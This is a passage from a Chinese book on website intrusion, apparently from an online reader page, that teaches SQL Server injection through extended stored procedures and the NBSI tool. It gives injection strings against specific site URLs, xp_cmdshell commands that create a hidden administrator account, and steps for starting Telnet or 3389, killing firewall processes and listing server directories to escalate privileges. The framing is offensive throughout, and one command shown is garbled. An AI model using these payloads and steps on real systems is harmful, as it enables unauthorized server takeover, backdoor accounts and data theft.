- 網(wǎng)站入侵與腳本攻防修煉
- 肖遙編著
- 586字
- 2019-03-01 22:12:40
2.7 擴(kuò)展存儲(chǔ)過(guò)程直接攻擊服務(wù)器
除了在第二部分中提到的上傳木馬后門(mén)、控制網(wǎng)站服務(wù)器外,還可以直接利用SQL語(yǔ)句來(lái)查詢(xún)服務(wù)器信息、執(zhí)行任意命令、操作注冊(cè)表等。
2.7.1 存儲(chǔ)過(guò)程快速攻擊數(shù)據(jù)庫(kù)
SQL中的“master.dbo.xp_cmdshell”、“xp_servicecontrol”等擴(kuò)展存儲(chǔ)過(guò)程是一類(lèi)用來(lái)擴(kuò)展數(shù)據(jù)庫(kù)功能的命令,利用它可以完成對(duì)整個(gè)系統(tǒng)的控制。如果當(dāng)前連接網(wǎng)站數(shù)據(jù)庫(kù)的賬號(hào)具有SA權(quán)限,并且數(shù)據(jù)庫(kù)中存在該擴(kuò)展存儲(chǔ)過(guò)程的話(huà),那么就可以用如下方法來(lái)入侵網(wǎng)站服務(wù)器了。
1.判斷當(dāng)前數(shù)據(jù)庫(kù)連接用戶(hù)權(quán)限
在注入點(diǎn)“http://www.anzhuang.org:8000/guild/sites/cia/detail.asp? i=JRJD&id=2578”提交“and user>0”,返回信息如下(圖130):

圖130 返回信息界面
“……將nvarchar值 ’dbo’ 轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為int的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。……”,其中“dbo”即為當(dāng)前連接數(shù)據(jù)庫(kù)的用戶(hù)名,該用戶(hù)名默認(rèn)為SA權(quán)限。如果是其他自定義的用戶(hù)名,則表明該用戶(hù)權(quán)限為“public”。
2.獲得當(dāng)前連接的數(shù)據(jù)庫(kù)名
提交“and db_name()>0”,返回信息為(圖131):
“……將 nvarchar 值 ’guild’ 轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò) 誤。……”
表明當(dāng)前連接的數(shù)據(jù)庫(kù)名為“guild”。

圖131 返回信息界面
3.執(zhí)行任意命令
利用“master.dbo.xp_cmdshell”擴(kuò)展存儲(chǔ)過(guò)程,可以執(zhí)行任意系統(tǒng)命令,如可以在系統(tǒng)中添加新的賬戶(hù),開(kāi)啟系統(tǒng)的Telnet或3389服務(wù)等;或者修改注冊(cè)表,任意添加刪除文件等。
a.添加系統(tǒng)賬戶(hù)
提交語(yǔ)句:
http://www.xinzun.com.cn/skill/skill_id.asp? id=1 ; exec master.. xp_cmdshell "net user xiaoyao loveyou /add"
將在系統(tǒng)中添加用戶(hù)名和密碼分別為“xiaoyao”、“l(fā)oveyou”的賬號(hào);
提交“; exec master..xp_cmdshell "net localgroup administrators xiaoyao /add"”
將賬號(hào)“xiaoyao”的用戶(hù)提升為管理員。
b.開(kāi)啟Telnet服務(wù)
提交“; exec master..xp_servicecontrol "net start /add"”,即可開(kāi)啟遠(yuǎn)程服務(wù)器上的Telnet服務(wù)。
此外,在SQL中還有一些擴(kuò)展存儲(chǔ),可以操作注冊(cè)表、讀取任意文件,甚至可以在服務(wù)器的Web虛擬路徑中寫(xiě)入ASP木馬后門(mén)等。
2.7.2 利用NBSI注入控制服務(wù)器
上面介紹的利用存儲(chǔ)過(guò)程控制服務(wù)器的方法,對(duì)于初學(xué)SQL注入的讀者來(lái)說(shuō)略顯復(fù)雜了,因此未做太詳細(xì)的介紹。下面要重點(diǎn)介紹給大家的是如何利用NBSI來(lái)入侵控制服務(wù)器。
1.簡(jiǎn)單獲取數(shù)據(jù)庫(kù)信息
尋找到一個(gè)SQL注入點(diǎn)后,打開(kāi)NBSI并單擊程序窗口工具欄上的“注入分析”按鈕,在“注入地址”中輸入注入點(diǎn)URL鏈接,然后單擊【檢測(cè)】按鈕,運(yùn)行完畢后在右邊的“SQL Server信息”中顯示出當(dāng)前連接SQL Server數(shù)據(jù)庫(kù)的用戶(hù)名、權(quán)限及所連接的數(shù)據(jù)庫(kù)名等(圖132)。

圖132 獲取數(shù)據(jù)庫(kù)信息
2.“NB Commander命令行執(zhí)行器”輕松獲取系統(tǒng)權(quán)限
如果在SQL信息中返回的是DBO用戶(hù)、SA權(quán)限,那么利用NBSI可以很快地獲取網(wǎng)站服務(wù)器的系統(tǒng)權(quán)限。單擊工具欄中的“掃描及工具”按鈕,在彈出的下拉菜單中單擊“NB Commander命令行執(zhí)行器”命令。然后在“注入地址”中輸入注入點(diǎn)鏈接地址,并選擇注入類(lèi)型;然后勾選“嘗試回顯結(jié)果”復(fù)選框及“執(zhí)行DOS命令”復(fù)選框(圖133)。

圖133 獲取系統(tǒng)權(quán)限
在“命令”中輸入要執(zhí)行的系統(tǒng)命令,如可輸入“netstat -na”,單擊【執(zhí)行】按鈕后,即可看到服務(wù)器上此時(shí)正在運(yùn)行的程序及打開(kāi)的端口。可在“命令”框中輸入相關(guān)的命令,來(lái)打開(kāi)3389或Telnet等服務(wù),或者使用“tasklist”和“taskkill”命令來(lái)顯示及結(jié)束服務(wù)器上的防火墻進(jìn)程等。然后就可以直接用3389登錄服務(wù)器進(jìn)行控制了。
當(dāng)勾選“執(zhí)行DOS命令”時(shí),會(huì)彈出常用的DOS命令,如添加賬戶(hù)、顯示目錄文件夾等(見(jiàn)圖134),可以方便我們直接復(fù)制后運(yùn)行。另外在勾選“SQL語(yǔ)句”后,也可以直接在“命令”框中輸入SQL命令查詢(xún)數(shù)據(jù)庫(kù),或者調(diào)用各種擴(kuò)展存儲(chǔ),完成一些特殊的命令。
3.“HBTreeList”目錄列表提升權(quán)限
如果我們并沒(méi)有太高的權(quán)限,但是只要有“Public”以上的權(quán)限,都可以利用NBSI的該功能查看服務(wù)器上的目錄和文件列表。

圖134 常用的DOS命令
單擊工具欄上的“掃描及工具”按鈕,在彈出的下拉菜單中單擊“HBTreeList目錄列表工具”命令。然后輸入注入點(diǎn)鏈接地址,并選擇注入類(lèi)型;勾選右邊的“文件”和“文件夾”復(fù)選框,然后在“輸入路徑”中輸入要查看的磁盤(pán)路徑,單擊【列目錄】按鈕,就可以查看到任意路徑中的文件夾及文件列表了(圖135)。不過(guò)在命令執(zhí)行時(shí)速度非常慢,需要耐心等待。

圖135 查看文件及文件夾列表
獲得磁盤(pán)中的目錄信息后,可以有助于了解服務(wù)器上安裝了什么防火墻或殺毒軟件,是否可以利用Serv-U、PCanywhere等來(lái)提升權(quán)限等。具體提升權(quán)限的方法會(huì)在后面有所提及。
- 繪制進(jìn)程圖:可視化D++語(yǔ)言(第1冊(cè))
- 面向STEM的mBlock智能機(jī)器人創(chuàng)新課程
- Hands-On Artificial Intelligence on Amazon Web Services
- INSTANT Autodesk Revit 2013 Customization with .NET How-to
- 貫通Java Web開(kāi)發(fā)三劍客
- 中文版AutoCAD 2013高手速成
- 空間機(jī)器人
- 計(jì)算機(jī)應(yīng)用基礎(chǔ)實(shí)訓(xùn)(職業(yè)模塊)
- Redash v5 Quick Start Guide
- 巧學(xué)活用AutoCAD
- Data Science with Python
- TensorFlow 2.0卷積神經(jīng)網(wǎng)絡(luò)實(shí)戰(zhàn)
- 單片機(jī)與微機(jī)原理及應(yīng)用
- 巧學(xué)活用WPS
- 大數(shù)據(jù)挖掘與統(tǒng)計(jì)機(jī)器學(xué)習(xí)